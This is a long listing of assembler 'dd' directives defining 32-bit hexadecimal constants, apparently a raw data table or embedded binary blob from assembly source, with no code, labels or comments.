dd 90751AEBh, 0FFBB2D66h, 1EC99D74h, 0F01EA0D5h, 21758828h
dd 6A3745EDh, 9854D986h, 115B68A1h, 0D324406Bh, 111E6511h
dd 0BC53EE0h, 0E8DCF6BCh, 889339F1h, 832056EDh, 7A014209h
dd 2E1E465Fh, 8A9815E7h, 6FC9DDEFh, 0E8F75AB2h, 0F174F778h
dd 606012BAh, 842BB5E5h, 0CDDC1A2Bh, 886CCAF4h, 0CD7ECB2h
dd 624E1E25h, 692B425Bh, 0A3A694C1h, 54728599h, 0A933FB1Dh
dd 5DE62B82h, 571EEE9Eh, 7FEC4775h, 42E8E7FCh, 80E9AA5Eh
dd 0FAF8517Dh, 0D501BE99h, 17D0C30h, 0D65BB2D7h, 45A5AFBEh
dd 49C8AE27h, 0C8BF0A2Dh, 7A784067h, 0E1F884FEh, 3E4B7350h
dd 1D0F092Ah, 0F06A327Ah, 3B619CA4h, 1A2F7A0Bh, 992A6490h
dd 931F4A33h, 3F2904E6h, 4679A001h, 0B34BA387h, 2A247FB5h
dd 0EC5C416Ah, 75C2D6BCh, 0C4B40917h, 0FAF0E147h, 39A7CFE6h
dd 8B3BF4E3h, 0EEDD01C9h, 1D2B414Bh, 9CE2B44Fh, 9F73C87h
dd 9B4D890Fh, 0A334921Fh, 0CC01AD35h, 64E5DAEEh, 160AFB41h
dd 0E37EF566h, 66C26BE5h, 0D6A4A73Ch, 0FBC61A53h, 3A74DC99h
dd 0AE5577DCh, 3366E40Eh, 0C493AACCh, 9B38B217h, 3C7C855Ah
dd 12B7B527h, 772722A2h, 81B876F3h, 0F8F1EE28h, 0F4A34E5Eh
dd 0C14FA586h, 0DDC41B52h, 1A3EE7BAh, 0CCF5C3B1h, 8906E13Ch
dd 5455C41Bh, 44F6390Ch, 0FBB359BDh, 0DAF81A37h, 7A716536h
dd 94745CEBh, 0D796B491h, 0D3300A02h, 0F8F09656h, 7D9CC742h
dd 28EA0408h, 0B2929F94h, 817B8DBCh, 8835A050h, 22A6B290h
dd 0BCDCD246h, 0C16327CCh, 63F26369h, 0AD407ACDh, 14A1C35Eh
dd 15912A0Bh, 8A8CE8Fh, 5435A8Ah, 0B9DBF02Bh, 2B349E15h
dd 77A5F7EDh, 9E7A12Dh, 7BC2B9A0h, 0E7375493h, 0A9EDF3E5h
dd 0BFF6FC9Bh, 45215C9Ch, 0D84F1A42h, 1DED2A06h, 56CDC4B9h
dd 0B6D76AF9h, 1AD15368h, 3CD35525h, 0D74D117Ch, 8BDCD59h
dd 29AA49E5h, 990AAAE3h, 0B6CB8A1Ah, 0C0CB4F25h, 3F33D4Eh
dd 5A9CC57Ch, 48403EF1h, 0F6B8864Dh, 0EACFC85Ch, 0F74B16E5h
dd 0C095B45h, 0ADE3178Ch, 473233A9h, 0E41F2A71h, 314158BEh
dd 39CD8C69h, 383A184Ch, 0C1677948h, 0E1F15102h, 0A5365F0Fh
dd 0EF97CDBDh, 31C6D6E4h, 755EC9FAh, 11E4274Eh, 0C2403A4Bh
dd 0D41F3D10h, 0D04F7310h, 0FEE2CE0h, 2E572F1Dh, 79B95149h
dd 2A063BBh, 9BC05F86h, 0CA0499FCh, 0F9FE9054h, 98F645BAh
dd 0B5EDEB16h, 1AEE9A05h, 62EFDF4h, 2876A6F8h, 32F0FB21h
dd 0D48888EAh, 228DBEEBh, 4A4F8741h, 9235B1BBh, 576FD2C9h
dd 3030244Dh, 39FE3F37h, 0F6C6D0E5h, 0D92F8F7Ch, 0F200CC91h
dd 0B9C05CE4h, 0E956F7ECh, 2D87F86Ch, 0E954E965h, 95A4556Dh
dd 81306AF9h, 0A0F5E5A4h, 714D5959h, 0CA86DDEBh, 0A35B8940h
dd 0D16E727Fh, 0C2BBFD01h, 57B15138h, 13A21E06h, 981709FBh
dd 44E5FAC5h, 63769DBDh, 426DFBFBh, 0A1E46628h, 0EC5AA79Ch
dd 0E69118B2h, 3D29C3CFh, 31270448h, 3E63240Bh, 1F971177h
dd 2D16D272h, 0BB98C154h, 0DD057AA0h, 25BFF8EEh, 825B22C1h
dd 0CB97E9AFh, 5508F44Bh, 0D1DE1258h, 86B8BEA2h, 59783FA2h
dd 9C2B7E54h, 0FE0523B5h, 8EF42CFEh, 0A46865FAh, 0B226DCF1h
dd 43B9B60Dh, 0B84F5045h, 0FD62B235h, 0A2435943h, 0ED3DE105h
dd 6A9E2281h, 0E93685C9h, 54FE9EE7h, 0BB7595DDh, 6EE30A97h
dd 0E886DA98h, 0D841EF68h, 0A68F55CCh, 24F7F8E8h, 0DD149FBBh
dd 0B156D59Ch, 0DD36EA86h, 5063F6E9h, 0C2ADCFA1h, 2021BFAAh
dd 0B404A5C7h, 33288F04h, 0D8F52650h, 0FBFD1157h, 0E4835F2Ah
dd 0F035654Eh, 386ACB39h, 0D1BAAA49h, 1112D12Ch, 2D1553D2h
dd 3CC04B5Fh, 8D42CE24h, 0C95F7EDCh, 0B9FDFFA6h, 51B43D4Fh
dd 0C7103157h, 5B6F4620h, 23F29E57h, 9941155Ah, 2F76853h
dd 56A556B2h, 6CA7F1FBh, 0BA620573h, 68C6EC44h, 16DB626Ch
dd 98189605h, 0F19D20DCh, 0CEA8C1E1h, 0D0F53454h, 0C5D463FEh
dd 97E6025Bh, 127AE7A7h, 0A14479E1h, 1922BDFAh, 0C9BE4E1Bh
dd 0F5ECC81h, 0CD739FB9h, 389EFB67h, 72D0E30Eh, 0BD4E3C9Eh
dd 0CF832E03h, 49CFEA65h, 480AF697h, 0B80ABA4Fh, 6C16D191h
dd 3C4C9186h, 0C5D44C01h, 41E9A283h, 8FA2315Dh, 13ABCCC8h
dd 0A2C6A829h, 5A4A63A1h, 0E57DFC6Dh, 0CCEE056Bh, 0EEF3FCEh
dd 3998CA5Dh, 6F510E3Bh, 968E64F2h, 11361B08h, 0D726FFBh
dd 2F52125Fh, 17764B4Fh, 0F9E3EF6Eh, 70308838h, 6BF51C21h
dd 9E040DD0h, 30AD2F9Ch, 61FD5234h, 652C695h, 7DC9B77Bh
dd 2F7BCC39h, 0FF450B88h, 0CE8D61E7h, 61A88AEDh, 71799F1Bh
dd 94E0BA31h, 33D934D0h, 30C0C205h, 0E0F8F932h, 1FA53D61h
dd 0B334511Dh, 88246DB4h, 0C01BE504h, 6552C8C1h, 9088ED06h
dd 0D3B6C651h, 0D193812Ch, 3EE6602Ah, 0D1B5609Eh, 1EA21C46h
dd 0B5E86AF9h, 45F8878Dh, 1EAF72A4h, 9BFF96E6h, 34DEF58Ch
dd 0C4D6D597h, 2E21D337h, 18F80EB3h, 2C054B20h, 277CA20Ch
dd 71C237F5h, 8F0AE03Bh, 9F2E4794h, 5AA0F759h, 639F8FF2h
dd 0B4A5F7C5h, 0C3B16508h, 11B03205h, 501A1F5Dh, 83D8D975h
dd 7F241EE8h, 53DA4784h, 0D8BE5DFAh, 881ADCE8h, 77E226F5h
dd 9CC1F8Dh, 0AFAC6689h, 0D27A825h, 0CE5DB9DBh, 0BA60B1D9h
dd 4EA59E96h, 3D94A49Fh, 0C61A6E5h, 2063BB2Dh, 85BA7B79h
dd 0AF82E716h, 0DC0A0ADEh, 72209DEBh, 0AF82024Eh, 8003CC35h
dd 4815CA7Eh, 3D7A4A8Ah, 0AC556061h, 17341864h, 42E49378h
dd 55EDB29Bh, 13E9321Dh, 0AADF3A22h, 0E6EE3B68h, 9F338C46h
dd 0F359BFC4h, 1E2C2586h, 0EA8E10B5h, 59A08042h, 0E19106CBh
dd 0B7CF1CC6h, 0A52DD2Ch, 0CE6B3983h, 3E907E5Ah, 33F58630h
dd 0B23F5096h, 6896DF35h, 0E7E4A96h, 0E6E8BB4h, 6032D95Ch
dd 89E95200h, 3FC95122h, 532B9985h, 0A2F8C100h, 1E29FC80h
dd 0D4FC3847h, 7550CCCAh, 35E5DBA4h, 0EB0063EAh, 3F32EA12h
dd 0BEB05885h, 4BC3F095h, 0F47CF1C4h, 200728AFh, 8276A508h
dd 0B8BB6CD7h, 5B59E220h, 0F114B1FAh, 42975C4Fh, 951A6426h
dd 90ED73D9h, 0AC258785h, 88D9F30Bh, 99A3565h, 0A8E4732Bh
dd 0B6E56B4Eh, 7FF90D08h, 1D4CD389h, 0AFCD7CE0h, 40282CEAh
dd 11142EEh, 0FCC8CB48h, 2522AD55h, 0EA2224F4h, 0BDB85F67h
dd 6E6BE2E2h, 0C6F39268h, 0C538A67Dh, 998D9F4Eh, 4D5277D6h
dd 0EDD470B8h, 0CBA62DB3h, 0DCBFBEC5h, 0C35F5546h, 0DB38BB08h
dd 51FDB6D0h, 73CF7F35h, 0BF1577BBh, 7F8BCD63h, 0EF48E29h
dd 6E59420Bh, 0DA8378C3h, 0F305E021h, 18BC8311h, 72AAC104h
dd 0DA62D153h, 0F150C68Eh, 0BB52536Ch, 587BA5C2h, 0CE57664h
dd 67A5B970h, 9BDCAFDDh, 0C1B63589h, 713E8B45h, 0F9B7E536h
dd 5D79DD01h, 6C9E939Ch, 0AB8A09B1h, 0F7A7234Dh, 7DBDD423h
dd 0C97BF00Ah, 0E430A617h, 22AD927Eh, 407FBD1Dh, 6FCACDA4h
dd 0C5C35BC9h, 0E17B5C43h, 0F85FF4B1h, 0F38398CCh, 1B69F53Bh
dd 7AA1AF50h, 0BB23BEB1h, 0F5373E91h, 0BF371C00h, 6EF12CDAh
dd 3B43FFCEh, 0F2C7EDCCh, 68BFE7F5h, 0C0127BFFh, 0A9DF93CFh
dd 18895DC7h, 6CD9B533h, 8EA715B1h, 0F98DFDF5h, 7B5B0993h
dd 7967303h, 2534E3A1h
dd 61450E81h, 932103CEh, 7FCBE916h, 2BFE1C7h, 65D31F7Ch
dd 0C4F24788h, 0A89E0DDh, 0FEF361Ah, 0DD67BE31h, 0BC5C076Ah
dd 1A63C0B8h, 995362ACh, 0EF588EF8h, 3B1640ADh, 51DFA49Ch
dd 592C3294h, 842876Dh, 43DE562Dh, 6BBB1791h, 80F779E9h
dd 259445Bh, 0A0B9C564h, 43B8D274h, 0F96A0A29h, 0B02CFA80h
dd 3E2EE4E3h, 0CDC6F77Dh, 11BD0329h, 59BE379Eh, 0D5CF28CFh
dd 73BF8E31h, 0FC01171Eh, 31B32F29h, 93E55D12h, 0B173F424h
dd 0C806A819h, 0D881F235h, 0B939D05Eh, 3D0B000h, 50D0672h
dd 7E71DACEh, 0D4C95029h, 568959F3h, 0DF45D0F4h, 910D7378h
dd 530116E8h, 0EF35CF1Eh, 37DA0E45h, 14DEBDEDh, 92DFBA01h
dd 0D585143Eh, 0FF18FC6Fh, 0E68DDC6Fh, 0AA92FC11h, 12D8DF06h
dd 0A333103Fh, 4C20CCBFh, 128A4933h, 0F29CAE62h, 0D56EFBB3h
dd 36B8C894h, 945F66EBh, 89342A5Eh, 0E521BC3h, 7C83911Ch
dd 785DEC5Dh, 0CBB22030h, 91FCB7C6h, 205EDD75h, 83AB7EDFh
dd 0DA803E91h, 0CB9FC4CAh, 5F71E9E3h, 3E07904Ah, 2CD980D9h
dd 86C99B4h, 3E286751h, 0A47BDEB7h, 86974DC9h, 0B4C9D620h
dd 62577D4Ch, 0C2C8705Eh, 0A1D82175h, 5214190Fh, 1330A8CDh
dd 0F1FFB02Bh, 1AA82C6Ch, 0C2D5F99Fh, 4B40D916h, 6487934Dh
dd 1AC28E79h, 16585323h, 498D14BAh, 62497441h, 0BF3BE2A9h
dd 0D74A81BDh, 0C0B43082h, 29432DFFh, 7FC4CAB4h, 87BF90Dh
dd 0F2FAA939h, 8A599B5Fh, 0DCDD2A12h, 0C1506FCh, 7106B08Dh
dd 0DF832614h, 0E87BDA0Fh, 28640957h, 402949DFh, 219623B2h
dd 0C42C5AC9h, 871708F7h, 1C08CB3h, 2DF28F24h, 2CF30086h
dd 70B49B42h, 0DC8D2C89h, 2478E3F8h, 80D63234h, 3611EBA7h
dd 0AE43B466h, 63C2BC11h, 965EB3E3h, 6784CBEBh, 5DF668DBh
dd 1F88C7C6h, 0D17C25A7h, 0C38635A8h, 0E7E5A2AFh, 0CE42B11Fh
dd 6241181Eh, 0D375FE51h, 0B0EBEB2Eh, 490F614Ch, 7E863AD8h
dd 1895DA63h, 2399E2AAh, 159857D1h, 0DAFC47ABh, 0F7015D5h
dd 0E6C0D660h, 0D170F97Fh, 0CC499407h, 6B52AFA1h, 0D762691Ch
dd 0B7E97D5Fh, 4103384Ch, 0D56CEE17h, 0F47BB910h, 0B51418FDh
dd 0F4857A74h, 0CA2A63EAh, 6C06C78Eh, 0A63AA100h, 0C6BD9259h
dd 0F3487C54h, 5991216h, 3DE76EA1h, 363100AAh, 2D92F322h
dd 25DE4C74h, 0B7DB106Fh, 59DB6CB8h, 0E9792F27h, 69ABA383h
dd 8BA09A7Ah, 9D142E4Ah, 5B6CD4A9h, 0FB87685Bh, 0C50E7936h
dd 0AEBE26A2h, 29E3B52Ah, 27DA10A1h, 0E2748310h, 8D13718Ch
dd 0BD039508h, 195C5F56h, 0E3B6E441h, 5CAD5E02h, 29192E20h
dd 49FD6E37h, 0CA6F42C5h, 0B2B3EF46h, 53D9B340h, 0FCCD6347h
dd 69709E0h, 24C92865h, 14D46394h, 0DD716C94h, 0C982A434h
dd 21017885h, 0EE16F928h, 662DD170h, 8241C277h, 7150EAFh
dd 0DE176B08h, 63EF6017h, 34C8F8AFh, 71BC20DAh, 409D7FD3h
dd 60A3362Dh, 50AC6CE0h, 38E69D4Dh, 4F385968h, 165DE6BCh
dd 0B839ABFBh, 50B050AFh, 6CDD1AF5h, 4ACFBBD5h, 0C44FC627h
dd 0C06FD164h, 2E0CA638h, 0D9D532C8h, 2B77C88Eh, 560FF51Ah
dd 9A469BA1h, 3CDAF175h, 825B2A57h, 0B1C32C1h, 0CAC6177Fh
dd 5A04ACCDh, 871CCF66h, 31F3F0CCh, 32B17E1Ah, 0FB1177D7h
dd 3287812Dh, 82E8984h, 377526E2h, 598D2E27h, 0C45B5DC6h
dd 0CA4CDA72h, 99140B7Ch, 4913E97Eh, 0A55F46CAh, 0A013E3EFh
dd 0F41C6B6h, 0C9806AEDh, 0A1662B63h, 97B7D8CEh, 7A371437h
dd 0CFA0814Eh, 39CE8FFCh, 0E05D36C5h, 0B3FEED58h, 0E04FCF54h
dd 0F941EC86h, 0BCF79F80h, 5AA06FC0h, 68AE4820h, 7720671Eh
dd 0CF0D7513h, 7703CC0Eh, 7B0D3E0Ah, 309F1131h, 33723AE4h
dd 71C1BF81h, 0EA07B22Bh, 331C2E9Eh, 905B247Eh, 4C2090FEh
dd 2EEFC25Ch, 0F5865CDCh, 49E8AF48h, 614BA030h, 43D0F95Ah
dd 3D124361h, 5344360Dh, 9294ED4Dh, 53345CBDh, 0D8F20B8h
dd 29A98584h, 48DF22A1h, 12467FB2h, 0FB200D02h, 0CDA17AEh
dd 0C2E1B2E6h, 6E01A520h, 40BFC9CFh, 6D497D2h, 87289FBFh
dd 0F027969Eh, 0EFC2695Eh, 8F01A1E1h, 429B2DD6h, 0CBE10F07h
dd 32708639h, 79EF56D2h, 6E38CCBh, 0D8CC3AE2h, 55788259h
dd 400C229Ah, 58BAE716h, 0CEEB7751h, 9CE9C805h, 0BED372F5h
dd 0D32A6ECAh, 0ECECC7E4h, 0C3645343h, 0FBE594Fh, 9E5778C9h
dd 0F50B1053h, 0E4D8D7FCh, 0C140798Ah, 0E8DAA5ADh, 65A2C595h
dd 0ECD9AD3Ah, 0B4E05A39h, 98657167h, 975CC302h, 2AFC12C1h
dd 0FC5C26CCh, 0CE770ACAh, 5BEBBC32h, 0CEBD6614h, 0EC9964ADh
dd 1851AD6Ch, 0EFFF0CB6h, 585D2EC4h, 59929185h, 1748B8E4h
dd 6AF008E7h, 0D728E5F6h, 7360EE66h, 0FF506D82h, 12FDC587h
dd 0F6E47D34h, 78AC4CB5h, 77F85536h, 92892B8Eh, 7EBCB516h
dd 57CD8978h, 1F1CB451h, 0FAADF139h, 0B376EA8Ah, 1DC32A73h
dd 0C3975DC9h, 0B448D6EFh, 0EBFF2580h, 5B687F04h, 1217C255h
dd 840F0014h, 0E0576A57h, 0C7DB9AF6h, 1D50FB1Eh, 171BD4Fh
dd 0E7FF3FEBh, 0FD83F483h, 3826CA41h, 25E22DF1h, 61CAEFF9h
dd 0E7B6CA00h, 108101Ch, 71082898h, 812EEE33h, 26690111h
dd 86774B1Ch, 78C63DA3h, 6AFC0506h, 158F4AE3h, 0D7E160ECh
dd 4FB7AAAh, 0DE939C11h, 400865ECh, 5FD4FCE4h, 1E01A9DDh
dd 0AAE190A8h, 2B528A58h, 626E272Ch, 61B85C43h, 5CDC789Fh
dd 0A8F94F93h, 4F4DB3CCh, 43292FDBh, 6465AC49h, 2DAD86BAh
dd 2112FA4Eh, 30D6F3EAh, 0AA438C87h, 0C5C03C18h, 3C8A81EFh
dd 56D87893h, 0C26EA6FBh, 0FCB8F825h, 3F6157Eh, 0E075E47Eh
dd 0BD6368D3h, 607ADFBh, 1E68AB14h, 4D35032h, 22663D3Fh
dd 0A078A088h, 430A5BE5h, 5AABA661h, 39C7204Fh, 5689041Fh
dd 0F9A49ABAh, 0E397D7FBh, 44549EDFh, 7BCEADCAh, 7EBF400Bh
dd 38B66FABh, 7909700Fh, 48F0EDE8h, 0AD12FF58h, 0F6458E3Ch
dd 0FCEBCF78h, 9F206398h, 5E281EC5h, 76A2DCD3h, 93054DEFh
dd 0A1C36A67h, 300FF4D3h, 416C56BCh, 0F26A437Ch, 0A9D81864h
dd 900D978Bh, 0C8724CCAh, 47BC04FCh, 2E366740h, 0D9047736h
dd 92B97AD7h, 0CD80452Eh, 9E7E26BDh, 4D2EBB25h, 7479CCCCh
dd 6B5BFA98h, 157642F3h, 4F5613E1h, 737C6DA4h, 683FC62Fh
dd 81E6F655h, 0AFE96BF5h, 0C1F116AEh, 92F01D4Eh, 0D6870B55h
dd 0D88D7C27h, 0C7B6A407h, 0BE96D542h, 265F8C0Bh, 80FF8C41h
dd 0A282385h, 0F9135764h, 0E0197FC1h, 5AB6DF9h, 0BE437295h
dd 9A45A261h, 0D01E1CBEh, 0D59FE8C8h, 0C77DC51Bh, 35877FF7h
dd 8AAA03D3h, 0F3AC6538h, 13B83575h, 10E97E97h, 0B874DADCh
dd 5CABED0Ch, 8CF2998Eh, 0AC53919Eh, 7E1CF86h, 94D397A2h
dd 62C5975Dh, 1093084h, 0C6097C3h, 0DB229E27h, 80C9D06h
dd 0A831E95Fh, 17A6A857h, 7F882E9Bh, 0F694453Bh, 0E8B25569h
dd 5E54D875h, 4561D4BDh, 898983F3h, 4277F9EFh, 13A2A496h
dd 0EE3C4A38h, 202CE2F1h, 5BFD4861h, 22930117h, 10924C24h
dd 72A29DD9h, 0A13599D4h, 0D84C588Eh, 27D833A6h, 0C888D579h
dd 94EF8BADh, 0CC114FB8h, 0EC010BAEh, 905E76F1h, 5C79E40Dh
dd 9AE21119h, 3F7E0408h, 0A9ADCA9Dh, 9DB01C92h, 52585361h
dd 0AA8C5A6Dh, 0A7D26785h, 110F0BAEh, 2FE8514h, 6AB53781h
dd 1F04DC2Ah, 55E02201h, 981F89DDh, 3CC910CDh, 27306037h
dd 0E161F6EFh, 0A4798F20h, 82FB9B3Eh, 0C5ACC2Eh, 0D8F75B3Dh
dd 4AD4D389h, 0F1519C8Ch
dd 5CB00B72h, 90165F3Dh, 7FE4A604h, 0A5855D79h, 0CE510623h
dd 612B8E66h, 3E4BE27Fh, 73100D46h, 89E9A99Fh, 4EF51150h
dd 2216089Eh, 23AA9E01h, 0A2E3D845h, 24DE1F90h, 0E9CA9E8Ah
dd 0A94A7727h, 2BA4CED9h, 0BE9C6EC4h, 0D9C1EFC2h, 5BD66ACAh
dd 0A4223EEh, 15F1B3EAh, 3E349A4h, 0F858E2AAh, 0AEC026A2h
dd 58E2F8E5h, 68FC2FD2h, 0C2B31313h, 2A124DE3h, 82DDA367h
dd 12CBD947h, 72B4739Dh, 6139B9CDh, 0EF844EC6h, 46DDF7E5h
dd 0D6F75B80h, 5B381D38h, 0E7F5F1B7h, 0B33B996Bh, 0E52218FBh
dd 919BC775h, 6E801461h, 0ADC89EA0h, 6F8C2FE7h, 5486CF73h
dd 2F62386Ch, 356BBA9Dh, 0CA24F492h, 480A848Ah, 52C57E3Eh
dd 0BD99F621h, 33C87730h, 0CB85A4FCh, 0A71B8757h, 8EF1DF25h
dd 85754B53h, 0ED2217BAh, 0EF60D43Dh, 15A65482h, 0BD51E55Dh
dd 6B88CA02h, 59BBE06Ch, 555C593Ah, 3C9A000Eh, 482E4646h
dd 0D8606996h, 0C5B74259h, 0F909A6D6h, 5FF57601h, 0BC65D83Fh
dd 0A2826998h, 767087FDh, 0A4408C13h, 0DD23B524h, 8E74F3F2h
dd 84324F7Dh, 7DA62933h, 0A3D057C4h, 0BDDDB71Fh, 9381E2EBh
dd 3FEE029Ah, 7CAD6D96h, 1C6CB8B7h, 3827794Bh, 0D64938B4h
dd 43829A61h, 0C04B11DCh, 393168AEh, 6FE08450h, 22C36BE4h
dd 4AFFA7C5h, 97EF051Dh, 0F1B4F70Ch, 33BA3336h, 8949875Ah
dd 36D87CFEh, 717DA9F8h, 0F8167767h, 66DE4819h, 337BA112h
dd 0F70E23F4h, 44C7A29Ch, 4487A9F3h, 8263952Ch, 491F1C22h
dd 80F90DE3h, 0F8902D82h, 5DEBD966h, 0AED78FE4h, 13028D63h
dd 8084ACC9h, 25C2672Bh, 823E0FDEh, 0E8AEDDA7h, 0A2F7DEA9h
dd 0CBA1E7BEh, 9566CE7Ch, 0C0C559CAh, 23CF7E4h, 0A8D90822h
dd 7F6C0964h, 0E174FC2Ah, 442E8250h, 0A6D6EABCh, 1BCC0B81h
dd 11332B28h, 96C04131h, 8FDD9BB5h, 0C85A0448h, 4258906Ah
dd 6F5613EBh, 0AC234333h, 0BC3944Bh, 80541D68h, 0D0FCE728h
dd 0B4ABD1Eh, 60B7FA10h, 91DF4600h, 0FED0F2F3h, 0A96E8DE0h
dd 0EBCEAAA5h, 820E7D27h, 47636D41h, 34458052h, 0F62B583Dh
dd 0B0C3FA1Ch, 4C41C27Dh, 0F42EDBA3h, 50D27159h, 100CA9A8h
dd 2320A1D2h, 14D82B7Fh, 0BC164FAAh, 16BC268Fh, 0D57FA823h
dd 4927A7D8h, 74EBA43Fh, 0DC08834Bh, 5159B071h, 6F913B58h
dd 0BBB07301h, 1B83931Fh, 871B25C5h, 26AFDD9h, 0BBA1EBA2h
dd 516A8637h, 5EFCDBCCh, 0FE54A676h, 4A6F6A95h, 130ABA71h
dd 0AB4706E6h, 0C3152688h, 1E5F55EFh, 5E09162Ch, 0D8A3C0C0h
dd 52754CD6h, 517F04Bh, 0E8B2B42h, 39D1C4AEh, 0BBFABDEAh
dd 9326F549h, 0F2A73F7Fh, 62FD5358h, 0C6326074h, 0CCD537ADh
dd 98C5E16Fh, 0F7C2A9DAh, 0A321F2A1h, 0B5AF2914h, 1711D714h
dd 6E560869h, 0F689902Dh, 0A1E3AD60h, 0BB1DEB9Ch, 604616D1h
dd 1FD354F4h, 0C4EE3F8Dh, 97CDD7BDh, 0E6AD5A8Ch, 0A0A08B1Eh
dd 7669433Bh, 0E52CEAB1h, 0ECD30C13h, 0A1A7F54h, 852E07EDh
dd 0B4D6DC07h, 5095BFACh, 0BC087826h, 5783F29Ah, 8C610361h
dd 802C5BA5h, 97E88418h, 89CB6C4h, 3B7C8A99h, 13CAF4F0h
dd 78C83E0Fh, 69D275C3h, 0BDD660DDh, 35E1DC84h, 0F2F1F423h
dd 48DE5BAh, 52BF7267h, 0B948DE82h, 0E6BCEA05h, 0F568A5A9h
dd 4978D5CCh, 6FE0EEE9h, 0C4BA5CC8h, 0D930CF22h, 91C4A76Eh
dd 0E36DEC7Bh, 0AF8A895Ch, 0FC6A08EEh, 0B977D4D4h, 0C53A8FAAh
dd 0B52837A4h, 9FECA119h, 582332C2h, 0DFD5E2FCh, 0E851C913h
dd 0D527589Dh, 0A988EA7Eh, 15CD144Dh, 0A34D037Ch, 263C480Dh
dd 0E55DA3FAh, 1D295F77h, 5ED0DECEh, 0B940B9BDh, 5E379003h
dd 0C0EB0AE3h, 3F9CAD5Ch, 25645CDDh, 405C963Ch, 0E3C73D68h
dd 7DE95A33h, 0BA6AFDA4h, 296B00FBh, 8B0BAE57h, 7584E98Eh
dd 59268319h, 0A693D4Bh, 9185E184h, 51B2073Ch, 0D3830C72h
dd 72596265h, 0D3A336D9h, 2A2DC21Ch, 321F0A1Ah, 0D28FB42h
dd 868663D0h, 476D94AEh, 0DE5F3965h, 0D997B8CEh, 0D6953478h
dd 0FDA766C7h, 246E02F8h, 0B349EB34h, 6F1D4B32h, 69457F21h
dd 349D10B0h, 0B071FFF7h, 5CCEB008h, 2C64521Ah, 923EFC06h
dd 508A474Eh, 9933706Dh, 0F6726004h, 783EAD86h, 7AFA379Dh
dd 730F47D7h, 15C95FCDh, 0C946FAE1h, 0DD419F57h, 8BD367C8h
dd 700DD712h, 9FBC9BCCh, 2D723768h, 0B18D0992h, 401C1FA2h
dd 1D10F71Ch, 732112E9h, 72F73C90h, 0C47253CDh, 0B41CC8A2h
dd 1E68C6A0h, 0DA1E2F3Eh, 99B85BFEh, 73BD5AE4h, 0FFB250A7h
dd 962B5832h, 338A4B3h, 47EA93CAh, 9106EC31h, 0C95B8195h
dd 94E6F40Eh, 0E4B58B1Bh, 0B91AAEB2h, 6CEA8F69h, 0FA2709CCh
dd 0F3D7FDF3h, 75E4FFC2h, 635CA7A5h, 2BC49BFEh, 78248795h
dd 0C2ED11FFh, 6F70AD64h, 98437FA2h, 0A49473F1h, 6A44E238h
dd 645F0DD3h, 2DB5C5ABh, 0ED6147Fh, 85DE7573h, 2A4F46B6h
dd 1A91FD76h, 0B3B736D7h, 0E9F5D34Fh, 2D584BFDh, 68400039h
dd 447B67CBh, 99551B6Fh, 25D35ECh, 43D85CF7h, 0D693FC4Fh
dd 99D484E4h, 238459F0h, 71A10119h, 0E3F81AD0h, 468722CCh
dd 8FC17888h, 0A24797Bh, 902E061Fh, 0F9E1FE43h, 908361A9h
dd 0F9AB6F88h, 8F0B75A4h, 0BB3C071Eh, 89806CD3h, 78ADCD23h
dd 16496333h, 4A448D65h, 8D5E6864h, 0D289537h, 70A4F85Fh
dd 0A5098EC1h, 0EC63BF4Dh, 13852FE5h, 0AE40549Ch, 806840B8h
dd 49E658C6h, 0F0D05FF0h, 49CCD89Eh, 69A437B1h, 2E138BC0h
dd 0CCB9673Dh, 0DB420CF0h, 0F902247Dh, 733AD690h, 415C6DF3h
dd 0F117140Ah, 168FA24h, 1EB2FB9Ch, 0D29D4024h, 2FA0CF1Fh
dd 2D792A8Dh, 250246D9h, 1A5A762Ch, 0FA291E4Ch, 745541B7h
dd 0FCCE688Eh, 0BA4A22E3h, 7947BCAFh, 0D0CC63D9h, 94A4293Dh
dd 6ED659E5h, 0C757A58h, 3B56ED9Fh, 6C1EF494h, 3FDD5F56h
dd 67265580h, 0AE7F539Bh, 0BA348B0h, 0ABCBFE6Ch, 2C899DB2h
dd 22E9A18Fh, 9132AE34h, 0C6410A54h, 461B474Eh, 0E806255Fh
dd 95500676h, 0FFB57EDBh, 305D0B02h, 843810C5h, 0D7DC4A06h
dd 9E553E9Ah, 0B61C3833h, 0DFB20D4Dh, 3D38C49Fh, 77A05E7Ch
dd 0E1604DE0h, 79DBF97Ch, 573EC340h, 30E8086h, 8527AC9Fh
dd 0E79954E6h, 2A621261h, 0C5D517F8h, 0E31AF6B3h, 2BA17D2Dh
dd 0D24A5A98h, 0E5BDA21h, 0A7D59557h, 0E2490041h, 0B3E8BA8Fh
dd 0AFFEAD42h, 548F0B0h, 45F0B50Eh, 0BE069CF9h, 0A86BF220h
dd 0B0451287h, 0B09F7229h, 4FF56F2Ah, 2371D9F7h, 0D1CB69AFh
dd 0E6FD6850h, 0D2BBE1Eh, 882207F5h, 5E17A027h, 7FD72417h
dd 909DCAB2h, 2A5A913h, 0F763BC36h, 17A3DE6Dh, 39F6B1EDh
dd 3B567BA0h, 1DA51815h, 3C13B250h, 1E2E8797h, 5386CDEh
dd 0E06607A8h, 0BACAA371h, 0C167A532h, 6A84B646h, 0FD807A6Eh
dd 8A5238F6h, 623BFE00h, 28679773h, 354DF090h, 6A742FEAh
dd 3F2DF44Eh, 0AED37022h, 16FE6BBAh, 0B2CB9E27h, 0E2C9F105h
dd 1146F737h, 0F976314Eh, 5196A950h, 9EC4F19h, 8E536B93h
dd 65F49F4Ch, 22535E99h, 563607F1h, 64A7B78h, 0B40AE9DEh
dd 507A2188h, 2469381h, 8EBCEA7Ah, 3C23484h, 0E2D61758h
dd 9922B8ECh, 865B5F40h, 84F5C4C1h, 5BE2087Fh, 7800EF8h
dd 0DB012D5Bh, 0DA3B6CD9h, 7D63E302h, 351F7B04h, 688BB610h
dd 7015FF6Bh, 36235C6h, 0F89F347Eh, 0B6E24B5Dh, 2C93A986h
dd 0F938096Ch, 0FEA28784h, 0D8233C8Bh, 68D370B2h, 3707490Ah
dd 9E017AFEh, 1BA0CF48h
dd 7CE0DC1Ch, 0BBC8BA89h, 0AAABA253h, 5AF6F56Dh, 2072060Eh
dd 2842932Dh, 0FE25D658h, 0AFB57C43h, 556BEBDEh, 55F935CDh
dd 0A1149C8Ah, 2ED4F813h, 6ADE2C94h, 0CF80083Bh, 0AAD13DE5h
dd 44CC778Ch, 0AF0D0E9Bh, 0D27FFB42h, 32E328FFh, 265FCCC2h
dd 6BA3E894h, 5D149FEEh, 0F4F7D929h, 433937A0h, 0C2495BEDh
dd 0F968851h, 0ECF83017h, 77F9219Eh, 0EFFEFF55h, 2D1FE9B7h
dd 564AA3A8h, 0D90490C2h, 272C1A3h, 16CD70F0h, 6208E749h
